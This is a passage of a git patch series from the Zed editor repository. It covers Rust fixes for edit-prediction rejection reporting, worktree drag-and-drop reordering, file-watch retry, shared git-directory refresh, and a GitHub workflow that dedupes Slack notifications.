     Unknown,
 }
 
-#[derive(Deserialize, Debug, Clone)]
+#[derive(Serialize, Deserialize, Debug, Clone)]
 pub struct ResponseReasoningItem {
     #[serde(default)]
     pub id: Option<String>,
@@ -435,7 +494,7 @@ pub struct ResponseReasoningItem {
     pub status: Option<String>,
 }
 
-#[derive(Deserialize, Debug, Clone)]
+#[derive(Serialize, Deserialize, Debug, Clone)]
 #[serde(tag = "type", rename_all = "snake_case")]
 pub enum ReasoningSummaryPart {
     SummaryText {
@@ -445,7 +504,7 @@ pub enum ReasoningSummaryPart {
     Unknown,
 }
 
-#[derive(Deserialize, Debug, Clone)]
+#[derive(Serialize, Deserialize, Debug, Clone)]
 pub struct ResponseOutputMessage {
     #[serde(default)]
     pub id: Option<String>,
@@ -459,7 +518,7 @@ pub struct ResponseOutputMessage {
     pub phase: Option<String>,
 }
 
-#[derive(Deserialize, Debug, Clone)]
+#[derive(Serialize, Deserialize, Debug, Clone)]
 pub struct ResponseFunctionToolCall {
     #[serde(default)]
     pub id: Option<String>,
@@ -473,6 +532,20 @@ pub struct ResponseFunctionToolCall {
     pub status: Option<String>,
 }
 
+#[derive(Serialize, Deserialize, Debug, Clone)]
+pub struct ResponseCustomToolCall {
+    #[serde(default)]
+    pub id: Option<String>,
+    #[serde(default)]
+    pub status: Option<String>,
+    #[serde(default)]
+    pub call_id: Option<String>,
+    #[serde(default)]
+    pub name: Option<String>,
+    #[serde(default)]
+    pub input: String,
+}
+
 pub async fn stream_response(
     client: &dyn HttpClient,
     provider_name: &str,
@@ -580,6 +653,16 @@ pub async fn stream_response(
                                     });
                                 }
                             }
+                            ResponseOutputItem::CustomToolCall(custom_tool_call) => {
+                                if let Some(ref item_id) = custom_tool_call.id {
+                                    all_events.push(StreamEvent::CustomToolCallInputDone {
+                                        item_id: item_id.clone(),
+                                        output_index,
+                                        input: custom_tool_call.input.clone(),
+                                        sequence_number: None,
+                                    });
+                                }
+                            }
                             ResponseOutputItem::Reasoning(reasoning) => {
                                 if let Some(ref item_id) = reasoning.id {
                                     for part in &reasoning.summary {

From 7828463fcb6917a344d26edf46b271442bdbc375 Mon Sep 17 00:00:00 2001
From: Ben Kunkle <ben@zed.dev>
Date: Thu, 9 Jul 2026 08:28:59 -0400
Subject: [PATCH 361/772] edit_prediction: Report patch apply failures (#60637)

# Objective

- Report V4 edit prediction patch apply failures as cloud rejection
events.
- Closes EP-210

## Solution

- Added `PatchApplyFailed` as an edit prediction rejection reason.
- Converted `prediction_edits_for_single_file_diff` errors into rejected
prediction results so the existing rejection pipeline posts them to
`/predict_edits/reject`.
- Kept interpolation failures reported as `InterpolateFailed`.

## Testing

- Ran `cargo fmt --check && cargo check -p edit_prediction`.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- N/A
---
 .../cloud_llm_client/src/cloud_llm_client.rs  |  2 +
 crates/edit_prediction/src/prediction.rs      | 28 +++++++++
 crates/edit_prediction/src/zeta.rs            | 59 ++++++++++++-------
 3 files changed, 68 insertions(+), 21 deletions(-)

diff --git a/crates/cloud_llm_client/src/cloud_llm_client.rs b/crates/cloud_llm_client/src/cloud_llm_client.rs
index 2bc734cc10e1a2..adbcffe9be81eb 100644
--- a/crates/cloud_llm_client/src/cloud_llm_client.rs
+++ b/crates/cloud_llm_client/src/cloud_llm_client.rs
@@ -198,6 +198,8 @@ pub enum EditPredictionRejectReason {
     InterpolatedEmpty,
     /// Edits returned, but could not be interpolated after buffer changes
     InterpolateFailed,
+    /// A patch was returned, but could not be applied to the buffer
+    PatchApplyFailed,
     /// The new prediction was preferred over the current one
     Replaced,
     /// The current prediction was preferred over the new one
diff --git a/crates/edit_prediction/src/prediction.rs b/crates/edit_prediction/src/prediction.rs
index 0f7896bc882400..592d5e3b1af13d 100644
--- a/crates/edit_prediction/src/prediction.rs
+++ b/crates/edit_prediction/src/prediction.rs
@@ -104,6 +104,34 @@ impl EditPredictionResult {
             e2e_latency,
         }
     }
+
+    pub fn new_rejected(
+        id: EditPredictionId,
+        edited_buffer: &Entity<Buffer>,
+        edited_buffer_snapshot: &BufferSnapshot,
+        inputs: EditPredictionInputs,
+        model_version: Option<String>,
+        trigger: PredictEditsRequestTrigger,
+        e2e_latency: std::time::Duration,
+        reject_reason: EditPredictionRejectReason,
+    ) -> Self {
+        Self {
+            prediction: EditPrediction {
+                id,
+                edits: Arc::default(),
+                cursor_position: None,
+                editable_range: None,
+                snapshot: edited_buffer_snapshot.clone(),
+                edit_preview: EditPreview::unchanged(edited_buffer_snapshot),
+                inputs,
+                buffer: edited_buffer.clone(),
+                model_version,
+                trigger,
+            },
+            reject_reason: Some(reject_reason),
+            e2e_latency,
+        }
+    }
 }
 
 #[derive(Clone)]
diff --git a/crates/edit_prediction/src/zeta.rs b/crates/edit_prediction/src/zeta.rs
index 009d91c5b57312..54b324253ad71c 100644
--- a/crates/edit_prediction/src/zeta.rs
+++ b/crates/edit_prediction/src/zeta.rs
@@ -9,7 +9,9 @@ use crate::{
     udiff::prediction_edits_for_single_file_diff,
 };
 use anyhow::{Context as _, Result};
-use cloud_llm_client::{AcceptEditPredictionBody, predict_edits_v3::RawCompletionRequest};
+use cloud_llm_client::{
+    AcceptEditPredictionBody, EditPredictionRejectReason, predict_edits_v3::RawCompletionRequest,
+};
 use edit_prediction_types::PredictedCursorPosition;
 use gpui::{App, AppContext as _, Entity, Task, TaskExt, WeakEntity, prelude::*};
 use language::{
@@ -516,26 +518,41 @@ pub(crate) fn request_prediction_with_zeta(
                 snapshot: fallback_snapshot,
                 patch,
             } => {
-                let Some((buffer, snapshot, edits, cursor_position)) =
-                    prediction_edits_for_single_file_diff(&patch, &project, cx).await?
-                else {
-                    return Ok(Some(
-                        EditPredictionResult::new(
-                            id,
-                            &fallback_buffer,
-                            &fallback_snapshot,
-                            Arc::new([]),
-                            None,
-                            None,
-                            inputs,
-                            model_version,
-                            trigger,
-                            request_duration,
-                            cx,
-                        )
-                        .await,
-                    ));
-                };
+                let (buffer, snapshot, edits, cursor_position) =
+                    match prediction_edits_for_single_file_diff(&patch, &project, cx).await {
+                        Ok(Some(edits)) => edits,
+                        Ok(None) => {
+                            return Ok(Some(
+                                EditPredictionResult::new(
+                                    id,
+                                    &fallback_buffer,
+                                    &fallback_snapshot,
+                                    Arc::new([]),
+                                    None,
+                                    None,
+                                    inputs,
+                                    model_version,
+                                    trigger,
+                                    request_duration,
+                                    cx,
+                                )
+                                .await,
+                            ));
+                        }
+                        Err(error) => {
+                            log::error!("failed to apply edit prediction patch: {error:?}");
+                            return Ok(Some(EditPredictionResult::new_rejected(
+                                id,
+                                &fallback_buffer,
+                                &fallback_snapshot,
+                                inputs,
+                                model_version,
+                                trigger,
+                                request_duration,
+                                EditPredictionRejectReason::PatchApplyFailed,
+                            )));
+                        }
+                    };
                 let editable_range_in_buffer =
                     edits
                         .iter()

From 8230cb16d1cffc1e6be044f2292d9f3189bf53a3 Mon Sep 17 00:00:00 2001
From: Elliot Thomas <eth0net@pm.me>
Date: Thu, 9 Jul 2026 13:32:00 +0100
Subject: [PATCH 362/772] project_panel: Restore worktree drag-and-drop
 reordering (#55755)

Reordering worktree roots by drag-and-drop had silently broken: a
worktree-root filter added to `disjoint_entries` for delete-safety
stripped roots before the drop handler could see them, so root-to-root
drops never reached the existing `move_worktree` reorder path.

This PR is the minimal regression fix:

- Move the worktree-root filter out of `disjoint_entries` and into
`disjoint_effective_entries` (used by cut/copy/delete), so drag-and-drop
keeps seeing roots and single-root reorder works again via the existing
`move_worktree` path.
- Filter worktree roots out of `drag_onto`'s copy branch, so holding the
copy modifier over a drag that contains a root no longer returns `None`
from `create_paste_path` and silently cancels the whole copy.
- Add `test_drag_worktree_root_reorders_worktrees` exercising the
drag-onto reorder flow end to end.

The larger feature work (multi-root group reordering, blank-area "send
to end", copy-mode drag feedback, and syncing worktree order to
collaborators) has been split into a separate follow-up PR so this fix
can land quickly. Note that worktree order was intentionally not synced
during collaboration, so that change is discussed separately.

Closes #46699

Release Notes:

- Fixed drag and drop to reorder worktrees

---------

Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Co-authored-by: Smit Barmase <heysmitbarmase@gmail.com>
---
 crates/project_panel/src/project_panel.rs     |  55 +++---
 .../project_panel/src/project_panel_tests.rs  | 177 ++++++++++++++++++
 2 files changed, 206 insertions(+), 26 deletions(-)

diff --git a/crates/project_panel/src/project_panel.rs b/crates/project_panel/src/project_panel.rs
index 8b23423a973a1b..e8c4bf2f63d936 100644
--- a/crates/project_panel/src/project_panel.rs
+++ b/crates/project_panel/src/project_panel.rs
@@ -2553,7 +2553,7 @@ impl ProjectPanel {
         cx: &mut Context<ProjectPanel>,
     ) {
         maybe!({
-            let items_to_delete = self.disjoint_effective_entries(cx);
+            let items_to_delete = self.disjoint_effective_entries_excluding_roots(cx);
             if items_to_delete.is_empty() {
                 return None;
             }
@@ -3266,7 +3266,7 @@ impl ProjectPanel {
     }
 
     fn cut(&mut self, _: &Cut, _: &mut Window, cx: &mut Context<Self>) {
-        let entries = self.disjoint_effective_entries(cx);
+        let entries = self.disjoint_effective_entries_excluding_roots(cx);
         if !entries.is_empty() {
             self.write_entries_to_system_clipboard(&entries, cx);
             self.clipboard = Some(ClipboardEntry::Cut(entries));
@@ -3275,7 +3275,7 @@ impl ProjectPanel {
     }
 
     fn copy(&mut self, _: &Copy, _: &mut Window, cx: &mut Context<Self>) {
-        let entries = self.disjoint_effective_entries(cx);
+        let entries = self.disjoint_effective_entries_excluding_roots(cx);
         if !entries.is_empty() {
             self.write_entries_to_system_clipboard(&entries, cx);
             self.clipboard = Some(ClipboardEntry::Copied(entries));
@@ -3870,25 +3870,6 @@ impl ProjectPanel {
         }
     }
 
-    fn move_entry(
-        &mut self,
-        entry_to_move: ProjectEntryId,
-        destination: ProjectEntryId,
-        destination_is_file: bool,
-        cx: &mut Context<Self>,
-    ) -> Option<Task<Result<CreatedEntry>>> {
-        if self
-            .project
-            .read(cx)
-            .entry_is_worktree_root(entry_to_move, cx)
-        {
-            self.move_worktree_root(entry_to_move, destination, cx);
-            None
-        } else {
-            self.move_worktree_entry(entry_to_move, destination, destination_is_file, cx)
-        }
-    }
-
     fn move_worktree_root(
         &mut self,
         entry_to_move: ProjectEntryId,
@@ -3971,8 +3952,14 @@ impl ProjectPanel {
         self.index_for_entry(selection.entry_id, selection.worktree_id)
     }
 
-    fn disjoint_effective_entries(&self, cx: &App) -> BTreeSet<SelectedEntry> {
-        self.disjoint_entries(self.effective_entries(), cx)
+    fn disjoint_effective_entries_excluding_roots(&self, cx: &App) -> BTreeSet<SelectedEntry> {
+        let project = self.project.read(cx);
+        let entries = self
+            .effective_entries()
+            .into_iter()
+            .filter(|entry| !project.entry_is_worktree_root(entry.entry_id, cx))
+            .collect();
+        self.disjoint_entries(entries, cx)
     }
 
     fn disjoint_entries(
@@ -3988,7 +3975,6 @@ impl ProjectPanel {
         let project = self.project.read(cx);
         let entries_by_worktree: HashMap<WorktreeId, Vec<SelectedEntry>> = entries
             .into_iter()
-            .filter(|entry| !project.entry_is_worktree_root(entry.entry_id, cx))
             .fold(HashMap::default(), |mut map, entry| {
                 map.entry(entry.worktree_id).or_default().push(entry);
                 map
@@ -4745,6 +4731,21 @@ impl ProjectPanel {
             .collect::<BTreeSet<SelectedEntry>>();
         let entries = self.disjoint_entries(resolved_selections, cx);
 
+        let root_entries: Vec<ProjectEntryId> = {
+            let project = self.project.read(cx);
+            entries
+                .iter()
+                .filter(|entry| project.entry_is_worktree_root(entry.entry_id, cx))
+                .map(|entry| entry.entry_id)
+                .collect()
+        };
+        if !root_entries.is_empty() {
+            for entry_id in root_entries {
+                self.move_worktree_root(entry_id, target_entry_id, cx);
+            }
+            return;
+        }
+
         if Self::is_copy_modifier_set(&window.modifiers()) {
             let _ = maybe!({
                 let project = self.project.read(cx);
@@ -4862,7 +4863,9 @@ impl ProjectPanel {
             // results with folded selections that need refreshing.
             let mut move_tasks: Vec<(ProjectEntryId, Task<Result<CreatedEntry>>)> = Vec::new();
             for entry in entries {
-                if let Some(task) = self.move_entry(entry.entry_id, target_entry_id, is_file, cx) {
+                if let Some(task) =
+                    self.move_worktree_entry(entry.entry_id, target_entry_id, is_file, cx)
+                {
                     move_tasks.push((entry.entry_id, task));
                 }
             }
diff --git a/crates/project_panel/src/project_panel_tests.rs b/crates/project_panel/src/project_panel_tests.rs
index 3e4e3788da7041..efc5a191b1ca69 100644
--- a/crates/project_panel/src/project_panel_tests.rs
+++ b/crates/project_panel/src/project_panel_tests.rs
@@ -4428,6 +4428,141 @@ async fn test_rename_with_hide_root(cx: &mut gpui::TestAppContext) {
     }
 }
 
+async fn setup_three_worktree_panel(
+    cx: &mut gpui::TestAppContext,
+) -> (Entity<ProjectPanel>, VisualTestContext) {
+    init_test(cx);
+
+    let fs = FakeFs::new(cx.executor());
+    fs.insert_tree("/root1", json!({ "a.txt": "" })).await;
+    fs.insert_tree("/root2", json!({ "b.txt": "" })).await;
+    fs.insert_tree("/root3", json!({ "c.txt": "" })).await;
+
+    let project = Project::test(
+        fs.clone(),
+        ["/root1".as_ref(), "/root2".as_ref(), "/root3".as_ref()],
+        cx,
+    )
+    .await;
+    let window = cx.add_window(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
+    let workspace = window
+        .read_with(cx, |mw, _| mw.workspace().clone())
+        .unwrap();
+    let mut cx = VisualTestContext::from_window(window.into(), cx);
+    let panel = workspace.update_in(&mut cx, ProjectPanel::new);
+    cx.run_until_parked();
+    (panel, cx)
+}
+
+#[gpui::test]
+async fn test_drag_worktree_root_reorders_worktrees(cx: &mut gpui::TestAppContext) {
+    let (panel, mut cx) = setup_three_worktree_panel(cx).await;
+    let cx = &mut cx;
+
+    assert_eq!(
+        visible_entries_as_strings(&panel, 0..20, cx),
+        &[
+            "v root1",
+            "      a.txt",
+            "v root2",
+            "      b.txt",
+            "v root3",
+            "      c.txt",
+        ],
+        "worktrees should start in insertion order"
+    );
+
+    // [r1, r2, r3] -> [r2, r1, r3].
+    drag_entries_onto(&panel, &["root1"], "root2", false, cx);
+    assert_eq!(
+        visible_entries_as_strings(&panel, 0..20, cx),
+        &[
+            "v root2",
+            "      b.txt",
+            "v root1",
+            "      a.txt",
+            "v root3",
+            "      c.txt",
+        ],
+        "dragging root1 onto root2 should swap their positions"
+    );
+
+    // [r2, r1, r3] -> [r3, r2, r1].
+    drag_entries_onto(&panel, &["root3"], "root2", false, cx);
+    assert_eq!(
+        visible_entries_as_strings(&panel, 0..20, cx),
+        &[
+            "v root3",
+            "      c.txt",
+            "v root2",
+            "      b.txt",
+            "v root1",
+            "      a.txt",
+        ],
+        "dragging the last root onto the first should move it to the front"
+    );
+}
+
+#[gpui::test]
+async fn test_drag_including_worktree_root_only_reorders(cx: &mut gpui::TestAppContext) {
+    let (panel, mut cx) = setup_three_worktree_panel(cx).await;
+    let cx = &mut cx;
+
+    // Drag {root1, root2/b.txt} onto root3's root entry: only the worktree
+    // reorder should happen and b.txt must stay in root2.
+    drag_entries_onto(&panel, &["root1", "root2/b.txt"], "root3", false, cx);
+    assert_eq!(
+        visible_entries_as_strings(&panel, 0..20, cx),
+        &[
+            "v root2",
+            "      b.txt",
+            "v root3",
+            "      c.txt",
+            "v root1",
+            "      a.txt",
+        ],
+        "dropping a mixed selection on a root should only reorder worktrees"
+    );
+
+    // Drag {root2, root3/c.txt} onto root1/a.txt (a non-root entry): the root
+    // still reorders to root1's position and c.txt must stay in root3.
+    drag_entries_onto(&panel, &["root2", "root3/c.txt"], "root1/a.txt", true, cx);
+    assert_eq!(
+        visible_entries_as_strings(&panel, 0..20, cx),
+        &[
+            "v root3",
+            "      c.txt",
+            "v root1",
+            "      a.txt",
+            "v root2",
+            "      b.txt",
+        ],
+        "dropping a mixed selection on a non-root entry should only reorder worktrees"
+    );
+
+    // With the copy modifier held, a selection containing a root should still
+    // only reorder worktrees and copy nothing.
+    cx.simulate_modifiers_change(gpui::Modifiers {
+        alt: true,
+        control: true,
+        ..Default::default()
+    });
+    drag_entries_onto(&panel, &["root3", "root1/a.txt"], "root2", false, cx);
+    cx.simulate_modifiers_change(Default::default());
+    assert_eq!(
+        visible_entries_as_strings(&panel, 0..20, cx),
+        &[
+            "v root1",
+            "      a.txt",
+            "v root2",
+            "      b.txt",
+            "v root3",
+            "      c.txt",
+        ],
+        "copy-dragging a mixed selection should only reorder worktrees and copy nothing"
+    );
+}
+
 #[gpui::test]
 async fn test_multiple_marked_entries(cx: &mut gpui::TestAppContext) {
     init_test_with_editor(cx);
@@ -10069,6 +10204,48 @@ pub(crate) fn drag_selection_to(
     cx.executor().run_until_parked();
 }
 
+/// Drags the entries at `source_paths` onto `target_path`. Paths are worktree
+/// root names optionally followed by a path inside the worktree, e.g. "root1"
+/// or "root1/dir/file.txt". The first source path is the active selection.
+pub(crate) fn drag_entries_onto(
+    panel: &Entity<ProjectPanel>,
+    source_paths: &[&str],
+    target_path: &str,
+    target_is_file: bool,
+    cx: &mut VisualTestContext,
+) {
+    let target_entry_id = find_project_entry(panel, target_path, cx)
+        .unwrap_or_else(|| panic!("no entry for target path {target_path:?}"));
+    let selections: Vec<SelectedEntry> = source_paths
+        .iter()
+        .map(|path| {
+            let entry_id = find_project_entry(panel, path, cx)
+                .unwrap_or_else(|| panic!("no entry for source path {path:?}"));
+            let worktree_id = panel
+                .update(cx, |panel, cx| {
+                    panel.project.read(cx).worktree_id_for_entry(entry_id, cx)
+                })
+                .unwrap_or_else(|| panic!("no worktree for source path {path:?}"));
+            SelectedEntry {
+                worktree_id,
+                entry_id,
+            }
+        })
+        .collect();
+    let active_selection = *selections
+        .first()
+        .expect("at least one source path is required");
+
+    panel.update_in(cx, |panel, window, cx| {
+        let drag = DraggedSelection {
+            active_selection,
+            marked_selections: Arc::from(selections),
+        };
+        panel.drag_onto(&drag, target_entry_id, target_is_file, window, cx);
+    });
+    cx.executor().run_until_parked();
+}
+
 pub(crate) fn find_project_entry(
     panel: &Entity<ProjectPanel>,
     path: &str,

From e2d41c477c8265d067e5be703ab4904feaa87859 Mon Sep 17 00:00:00 2001
From: Lukas Wirth <lukas@zed.dev>
Date: Thu, 9 Jul 2026 14:39:43 +0200
Subject: [PATCH 363/772] fs: Retry watch registrations skipped during the
 native watch-limit cooldown (#60662)

GlobalWatcher::add returns Ok(None) while the native watch-limit
cooldown is active, and FsWatcher::add_existing_path treated that as
success: the path was never watched, with no retry and no error. A
long-lived watch (like a repository's git directory) that happened to
register during a cooldown window silently never received events.

Route the skipped registration through the existing pending-path
machinery, which already polls until registration succeeds and emits a
rescan event for the path so that changes missed in the interim are
picked up.

---

Release Notes:

- N/A or Added/Fixed/Improved ...
---
 crates/fs/src/fs_watcher.rs | 15 ++++++++++++---
 1 file changed, 12 insertions(+), 3 deletions(-)

diff --git a/crates/fs/src/fs_watcher.rs b/crates/fs/src/fs_watcher.rs
index 016d4ca20f3ea4..99664ae74802e2 100644
--- a/crates/fs/src/fs_watcher.rs
+++ b/crates/fs/src/fs_watcher.rs
@@ -56,13 +56,22 @@ impl FsWatcher {
             log::trace!("path to watch is already watched: {path:?}");
             return Ok(());
         }
-        if let Some(registration) = register_existing_path(
-            path,
+        match register_existing_path(
+            path.clone(),
             case_insensitive,
             self.tx.clone(),
             self.pending_path_events.clone(),
         )? {
-            self.registrations.lock().insert(key, registration);
+            Some(registration) => {
+                self.registrations.lock().insert(key, registration);
+            }
+            None => {
+                // Registration was skipped (e.g. the native watch-limit cooldown
+                // is active). Retry in the background rather than silently leaving
+                // the path unwatched forever.
+                log::warn!("watch registration for {path:?} was skipped; retrying in background");
+                self.add_pending_path(path);
+            }
         }
         Ok(())
     }

From 11d216d8bf3fc33000e5a833d8b5bcf7e581adbb Mon Sep 17 00:00:00 2001
From: Lukas Wirth <lukas@zed.dev>
Date: Thu, 9 Jul 2026 14:41:50 +0200
Subject: [PATCH 364/772] worktree: Refresh all repositories sharing a changed
 git directory (#60664)

update_git_repositories mapped a changed .git path to a repository with
find_map, so when several repositories share a git directory - a main
checkout plus one of its linked worktrees in the same project worktree -
a ref update under the shared common dir only bumped git_dir_scan_id on
whichever repository iterated first, leaving the others stale until an
unrelated event happened to refresh them. Collect every matching
repository and bump each one.

---

Release Notes:

- N/A or Added/Fixed/Improved ...
---
 crates/worktree/src/worktree.rs               | 93 ++++++++++---------
 .../tests/integration/worktree_tests.rs       | 80 ++++++++++++++++
 2 files changed, 127 insertions(+), 46 deletions(-)

diff --git a/crates/worktree/src/worktree.rs b/crates/worktree/src/worktree.rs
index 6c90de189b5f82..8cb9e5f9b321e7 100644
--- a/crates/worktree/src/worktree.rs
+++ b/crates/worktree/src/worktree.rs
@@ -5762,56 +5762,57 @@ impl BackgroundScanner {
         let scan_id = state.snapshot.scan_id;
         let mut affected_repo_roots = Vec::new();
         for dot_git_dir in dot_git_paths {
-            let existing_repository_entry =
+            // Several repositories can share a git directory: a linked worktree's
+            // commondir is the main checkout's `.git`, so a ref update there must
+            // refresh every repository that reads from it.
+            let existing_work_directory_ids = state
+                .snapshot
+                .git_repositories
+                .iter()
+                .filter_map(|(&work_directory_id, repo)| {
+                    let dot_git_dir = SanitizedPath::new(&dot_git_dir);
+                    if SanitizedPath::new(repo.common_dir_abs_path.as_ref()) == dot_git_dir
+                        || SanitizedPath::new(repo.repository_dir_abs_path.as_ref()) == dot_git_dir
+                        || SanitizedPath::new(repo.dot_git_abs_path.as_ref()) == dot_git_dir
+                    {
+                        Some(work_directory_id)
+                    } else {
+                        None
+                    }
+                })
+                .collect::<Vec<_>>();
+
+            if existing_work_directory_ids.is_empty() {
+                let Ok(relative) = dot_git_dir.strip_prefix(state.snapshot.abs_path()) else {
+                    // A `.git` path outside the worktree root is not
+                    // ours to register. This happens legitimately when
+                    // `.git` is a gitfile pointing outside the worktree
+                    // (linked worktrees and submodules), and also when
+                    // a rescan of a linked worktree's commondir arrives
+                    // after the worktree's repository has already been
+                    // unregistered.
+                    continue;
+                };
+                affected_repo_roots.push(dot_git_dir.parent().unwrap().into());
                 state
-                    .snapshot
-                    .git_repositories
-                    .iter()
-                    .find_map(|(_, repo)| {
-                        let dot_git_dir = SanitizedPath::new(&dot_git_dir);
-                        if SanitizedPath::new(repo.common_dir_abs_path.as_ref()) == dot_git_dir
-                            || SanitizedPath::new(repo.repository_dir_abs_path.as_ref())
-                                == dot_git_dir
-                            || SanitizedPath::new(repo.dot_git_abs_path.as_ref()) == dot_git_dir
-                        {
-                            Some(repo.clone())
-                        } else {
-                            None
-                        }
-                    });
-
-            match existing_repository_entry {
-                None => {
-                    let Ok(relative) = dot_git_dir.strip_prefix(state.snapshot.abs_path()) else {
-                        // A `.git` path outside the worktree root is not
-                        // ours to register. This happens legitimately when
-                        // `.git` is a gitfile pointing outside the worktree
-                        // (linked worktrees and submodules), and also when
-                        // a rescan of a linked worktree's commondir arrives
-                        // after the worktree's repository has already been
-                        // unregistered.
-                        continue;
-                    };
-                    affected_repo_roots.push(dot_git_dir.parent().unwrap().into());
+                    .insert_git_repository(
+                        RelPath::new(relative, PathStyle::local())
+                            .unwrap()
+                            .into_arc(),
+                        self.fs.as_ref(),
+                        self.watcher.as_ref(),
+                    )
+                    .await;
+            } else {
+                for work_directory_id in existing_work_directory_ids {
                     state
-                        .insert_git_repository(
-                            RelPath::new(relative, PathStyle::local())
-                                .unwrap()
-                                .into_arc(),
-                            self.fs.as_ref(),
-                            self.watcher.as_ref(),
-                        )
-                        .await;
-                }
-                Some(local_repository) => {
-                    state.snapshot.git_repositories.update(
-                        &local_repository.work_directory_id,
-                        |entry| {
+                        .snapshot
+                        .git_repositories
+                        .update(&work_directory_id, |entry| {
                             entry.git_dir_scan_id = scan_id;
-                        },
-                    );
+                        });
                 }
-            };
+            }
         }
 
         // Remove any git repositories whose .git entry no longer exists.
diff --git a/crates/worktree/tests/integration/worktree_tests.rs b/crates/worktree/tests/integration/worktree_tests.rs
index f63bf7d1085f2d..8fb7fe3f812b03 100644
--- a/crates/worktree/tests/integration/worktree_tests.rs
+++ b/crates/worktree/tests/integration/worktree_tests.rs
@@ -4199,6 +4199,86 @@ async fn test_linked_worktree_gitfile_event_preserves_repo(
     });
 }
 
+#[gpui::test]
+async fn test_shared_common_dir_event_updates_all_repositories(
+    executor: BackgroundExecutor,
+    cx: &mut TestAppContext,
+) {
+    // A main checkout and one of its linked worktrees can both live inside the
+    // same project worktree, sharing a common git directory. An event in that
+    // common directory (e.g. a ref update) must refresh every repository that
+    // reads from it, not just the first match.
+    init_test(cx);
+
+    use git::repository::Worktree as GitWorktree;
+
+    let fs = FakeFs::new(executor.clone());
+    fs.insert_tree(
+        path!("/project"),
+        json!({
+            "main_repo": {
+                ".git": {},
+                "file.txt": "content",
+            },
+        }),
+    )
+    .await;
+    fs.add_linked_worktree_for_repo(
+        Path::new(path!("/project/main_repo/.git")),
+        false,
+        GitWorktree {
+            path: PathBuf::from(path!("/project/linked")),
+            ref_name: Some("refs/heads/feature".into()),
+            sha: "abc123".into(),
+            is_main: false,
+            is_bare: false,
+        },
+    )
+    .await;
+
+    let tree = Worktree::local(
+        path!("/project").as_ref(),
+        true,
+        fs.clone(),
+        Arc::default(),
+        true,
+        WorktreeId::from_proto(0),
+        &mut cx.to_async(),
+    )
+    .await
+    .unwrap();
+    tree.update(cx, |tree, _| tree.as_local().unwrap().scan_complete())
+        .await;
+    cx.run_until_parked();
+
+    let mut events = cx.events(&tree);
+    fs.emit_fs_event(
+        path!("/project/main_repo/.git/refs/heads/main"),
+        Some(PathEventKind::Changed),
+    );
+    executor.run_until_parked();
+
+    let mut updated_work_dirs = Vec::new();
+    while let Ok(event) = events.try_recv() {
+        if let Event::UpdatedGitRepositories(updates) = event {
+            updated_work_dirs.extend(
+                updates
+                    .iter()
+                    .filter_map(|update| update.new_work_directory_abs_path.clone()),
+            );
+        }
+    }
+    updated_work_dirs.sort();
+    assert_eq!(
+        updated_work_dirs,
+        [
+            Arc::from(Path::new(path!("/project/linked"))),
+            Arc::from(Path::new(path!("/project/main_repo"))),
+        ],
+        "a ref update in the shared common dir should refresh both repositories"
+    );
+}
+
 #[gpui::test]
 async fn test_noisy_dot_git_events_do_not_emit_git_repo_update(
     executor: BackgroundExecutor,

From da4703be85c81771c37ffbef3d4bc66566c10c7a Mon Sep 17 00:00:00 2001
From: Lena <241371603+zelenenka@users.noreply.github.com>
Date: Thu, 9 Jul 2026 15:39:43 +0200
Subject: [PATCH 365/772] Dedupe first-responder Slack notifications (#60666)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

What looks like a single event of applying a few labels is actually
multiple events, and the raciness is racy as we've recently experienced.
One solution would've been adding a “first responders notified” label
for enforcing consistency but issues already have enough labels (and we
could take it off by mistake), so a bot reaction will instead serve as a
marker for any later runs.

So if we're applying multiple labels or changing our mind about, say, an
area label after the notification has already been sent, this should
work fine now, without duplicate notifications.

Release Notes:

- N/A
---
 .../slack_notify_first_responders.yml         | 91 ++++++++++++++++---
 1 file changed, 77 insertions(+), 14 deletions(-)

diff --git a/.github/workflows/slack_notify_first_responders.yml b/.github/workflows/slack_notify_first_responders.yml
index 91507ebeefd804..c8d970451ddf65 100644
--- a/.github/workflows/slack_notify_first_responders.yml
+++ b/.github/workflows/slack_notify_first_responders.yml
@@ -11,28 +11,41 @@ env:
   PRIORITY_LABELS: '["priority:P0", "priority:P1"]'
   REPRODUCIBLE_LABEL: 'state:reproducible'
   FREQUENCY_LABELS: '["frequency:always", "frequency:common"]'
+  MARKER_REACTION: 'eyes'
 
 jobs:
   notify-slack:
     if: github.repository_owner == 'zed-industries' && github.event.issue.state == 'open'
     runs-on: namespace-profile-2x4-ubuntu-2404
-    # Serialize per-issue so concurrent `labeled` events can't both observe
-    # the trifecta and double-notify.
+    permissions:
+      contents: read
+      # For the issue reaction used to dedupe notifications.
+      issues: write
+    # Serialize per issue so the reaction claim below can't race.
     concurrency:
       group: slack-notify-first-responders-${{ github.event.issue.number }}
       cancel-in-progress: false
 
     steps:
-      - name: Check if label combination requires first responder notification
+      - name: Check label combination and claim the notification
         id: check-label
         env:
+          GH_TOKEN: ${{ github.token }}
+          GH_REPO: ${{ github.repository }}
           LABEL_NAME: ${{ github.event.label.name }}
-          ISSUE_LABELS_JSON: ${{ toJson(github.event.issue.labels.*.name) }}
+          ISSUE_NUMBER: ${{ github.event.issue.number }}
         run: |
           set -euo pipefail
 
-          # Gate on the just-added label so unrelated labeling on an
-          # already-qualifying issue doesn't re-fire the notification.
+          api() {
+            curl -sS \
+              -H "Authorization: Bearer $GH_TOKEN" \
+              -H "Accept: application/vnd.github+json" \
+              -H "X-GitHub-Api-Version: 2022-11-28" \
+              "$@"
+          }
+
+          # Ignore labels outside the trifecta so unrelated later edits don't re-fire.
           TRIGGER_LABELS=$(jq -cn \
             --argjson priority "$PRIORITY_LABELS" \
             --arg repro "$REPRODUCIBLE_LABEL" \
@@ -45,19 +58,52 @@ jobs:
             exit 0
           fi
 
+          # The webhook's issue.labels snapshot is racy under bulk apply; read live.
+          ISSUE_LABELS_JSON=$(api -f "https://api.github.com/repos/$GH_REPO/issues/$ISSUE_NUMBER/labels?per_page=100" | jq '[.[].name]')
+
